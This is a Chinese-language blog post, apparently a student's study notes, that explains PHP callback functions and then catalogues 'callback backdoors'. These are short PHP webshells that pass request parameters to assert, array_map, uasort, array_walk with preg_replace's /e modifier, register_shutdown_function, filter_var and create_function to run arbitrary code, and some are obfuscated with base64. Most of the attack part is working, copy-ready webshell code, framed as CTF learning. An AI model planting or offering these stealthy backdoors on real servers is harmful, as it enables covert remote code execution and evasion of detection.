PHP的回调后门

前言

今天洪学长给我留个了任务,具体的就是关于回调后门这块的内容。我关于回调后门了解的很少很少,以前做南邮的题目遇到过一道三参数回调后门的题目,当时草草了解了一下,理解的不算很深。因此今天去学习了一下回调后门的相关内容。

PHP的回调函数

什么是回调函数?

所谓的回调函数,就是指调用函数时并不是向函数中传递一个标准的变量作为参数,而是将另一个函数作为参数传递到调用的函数中,这个作为参数的函数就是回调函数。通俗的来说,回调函数也是一个我们定义的函数,但是不是我们直接来调用的,而是通过另一个函数来调用的,这个函数通过接收回调函数的名字和参数来实现对它的调用。

PHP 中的回调函数与 C、Java 等语言的回调函数的作用是一模一样的,都是在函数执行的过程中,跳转到回调函数中,当回调函数执行完毕之后,再回到之前的函数处理接下来的程序。

为什么要使用回调函数呢?

关于这个问题,我觉得下面的回答很好,虽然这是一个c++回调函数使用的原因,但是面向对象都是类似的的嘛。。可以参考参考,理解理解这个思想:

我们为什么要用回调函数呢?
记得在一次C++开发面试的时候被被一位主面官问到过这个问题,现在再回答一遍。

我们对回调函数的使用无非是对函数指针的应用,函数指针的概念本身很简单,但是把函数指针应用于回调函数就体现了一种解决问题的策略,一种设计系统的思想。
在解释这种思想前我想先说明一下,回调函数固然能解决一部分系统架构问题但是绝不能再系统内到处都是,如果你发现你的系统内到处都是回调函数,那么你一定要重构你的系统。回调函数本身是一种破坏系统结构的设计思路,回调函数会绝对的变化系统的运行轨迹,执行顺序,调用顺序。回调函数的出现会让读到你的代码的人非常的懵头转向。

那么什么是回调函数呢,那是不得以而为之的设计策略,想象一种系统实现:在一个下载系统中有一个文件下载模块和一个下载文件当前进度显示模块,系统要求实时的显示文件的下载进度,想想很简单在面向对象的世界里无非是实现两个类而已。但是问题恰恰出在这里,显示模块如何驱动下载进度条?显示模块不知道也不应该知道下载模块所知道的文件下载进度(面向对象设计的封装性,模块间要解耦,模块内要内聚),文件下载进度是只有下载模块才知道的事情,解决方案很简单给下载模块传递一个函数指针作为回调函数驱动显示模块的显示进度。

在面向对象的世界中这样的例子还真不少,造成这样的问题的根源,相信大家已经从上面的叙述中体会到了,就是面向对象的程序设计思想,就是设计模式中要求的模块独立性,高内聚低耦合等特性。

封装变化的编程策略给编程人员第一位的指导思想就是面向接口编程米,即设计模式中提到的面向虚拟编程而不是面向实现。这样的编程思想极大地革新了编程世界,可以说没有这一原则就没有面向对象的程序设计,这一原则给程序设计一种指导思想即如何更高的将现实模型映射成程序模型。这样的设计思想在极大地催生高度独立性模块的同时削弱了模块间的协作性,也就是耦合性,它使得模块间更多的从事着单向的调用工作,一个模块需要某种服务就去找另一个模块,这使得程序呈现出层次性,高层通过接口调用底层,底层提供服务。但是现实世界中严格遵循现层次特性的系统是很少见的,绝对的MVC是不存在的,因为更多的模块要求通并协作,可见没有耦合就没有协作没有好的调用关系,耦合真的不是错。

既然我们需要模块间的协作,同时我们又厌恶的摒弃模块间你中有我我中有你的暧昧关系那如何生成系统呢,答案是函数指针(不一定一定是函数指针)也就是使用回调的方式。如果一个对象关心另一个对象的状态变化那么给状态的变化注册回调函数让它通知你这类状态的改变,这样在封装了模块变化的同时实现了模块间的协作关系另辟独径的给对象解耦。

回调函数的例子

举个最简单的回调函数的例子:

<?php
$a='var_dump';
$b=array('hello'=>'world');
call_user_func($a,$b);

在这里插入图片描述

call_user_func函数把var_dump当成回调函数,后面的数组就是var_dump的参数。回调函数就是这么简单。

各种具有callable参数的函数

  • call_user_func()
  • call_user_func_array()
  • array_filter()
  • array_map()
  • uasort()
  • uksort()
  • array_reduce()
  • array_udiff()
  • array_walk()
  • array_walk_recursive()
  • register_shutdown_function()
  • filter_var()
  • filter_var_array()
    具体函数作用及使用可以自行查php手册。

回调后门

回调后门这个东西应该可以说是p神第一次提出来。并且写了一篇内容非常精彩的文章来详细的讲解这个东西。

什么是回调后门

以下是P神的原话:

php中包含回调函数参数的函数,具有做后门的潜质。

我就自己给这类webshell起了个名字:回调后门。

说简单点,就是写代码的过分相信了用户的输入,导致了自己写的具有回调函数参数的函数,里面的参数可以被用户所控制。导致别人利用这个漏洞来getshell。这个webshell就叫回调后门。

要想利用回调后面,首先就要有具有回调函数参数的函数,上文已经列出,虽然不全,但是已足够使用了。

简单的回调后门的例子

下面是一个很简单的回调后门的例子:

<?php
$b=$_GET[0];
call_user_func('assert',$b);

在这里插入图片描述
也爆出了不推荐使用assert作为回显函数的警告。
需要注意的是,我们经常用于执行php代码的eval函数不能用于回调函数:
在这里插入图片描述

单参数的回调后门

考虑到有时候我们可以传入的参数的数量是不可控的,以及有些函数要求自己的回调函数参数要具有某些参数,因此对于参数的数量进行分类。
单参数的回调后门有很多了,具体例子如下:

<?php
$a=$_GET['func'];
$b=array($_GET[0]);
array_filter($b, $a);

不过用assert不能再执行了:
在这里插入图片描述

可以查查官方手册:
在这里插入图片描述

因为太多的马用assert来执行代码,导致php7.1往后的版本里assert默认不再可以执行代码,因为php7.1以后assert也被当成了一种语言构造。但是在7.0版本里assert来可以用来当马。
虽然assert不能再用,不过蚁剑仍然可以使用它,但是编码得选择base64。

剩下的单参数例子就直接引用p神的文章了:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);

双参数的回调后门

虽然assert在php7里基本没什么用,但是在php7之前可以说是一个非常重要的函数,可是在5.4.8之前仍有局限性,因为仅允许传入一个参数,遇到双参数的环境就显得非常无力。
在5.4.8以后,assert这个函数增加了一个参数,即:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
利用示例如下:

<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

其他的双参数例子就直接引用p神的例子了:

<?php
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);

<?php
// way 0
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');

// way 1
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');

具体参考php手册:
在这里插入图片描述

<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);

三参数回调后门

这个典型的例子就是array_walk()或者array_walk_recursive():

在这里插入图片描述
题目可能会给数组的键,值还有userdata这三个参数,这时候我们会发现assert最多只能接受两个参数,不能利用assert。这时候可以考虑利用preg_replace():
在这里插入图片描述

因此利用/e修饰符。当使用被弃用的 e 修饰符时, 这个函数会转义一些字符,在完成替换后,引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。这样就实现了命令执行。例子如下:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

南邮CTF平台上面的web综合题2就考到了三参数的回调后门。
只不过在php7里面仍然略显无力。。。

还有以下利用方式:

<?php
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
<?php
echo preg_filter('|.*|e', $_REQUEST['pass'], '');

单参数回调后门非常隐蔽的利用

<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);

在这里插入图片描述

<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);

在这里插入图片描述
还有

<?php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

都是一些很巧妙的方式。不过感觉自己太菜。。很难想到这些。。。。

利用匿名函数的回调后门

首先来看一下preg_replace_callback这个函数的php手册:
在这里插入图片描述
手册中也举了使用匿名函数的例子。为什么要使用匿名函数呢?主要的原因就是回调函数我们要传入assert,assert只有在接受字符串的时候才会把它当成php代码执行,但是在preg_replace_callback里传入回调函数的是一个数组,因此无法直接利用,需要利用匿名函数,使用如下:

<?php
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

匿名函数的使用如下:
在这里插入图片描述
这样就可以成功作为回调后门使用了。

后记

关于回调后门更详细的内容,可以参考P神的文章:
创造tips的秘籍——PHP回调后门

真的感觉自己现在菜的离谱,PHP还有这么多可以利用的函数,但是自己到现在还有很多函数是第一次见。能深挖回调后门的漏洞而且这么多利用的姿势,只能说狂膜P神。
学完后,对于回调后门的理解也是更深了,还是要多多运用,在实战中再次加深自己的理解,甚至自己去挖掘。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/109136388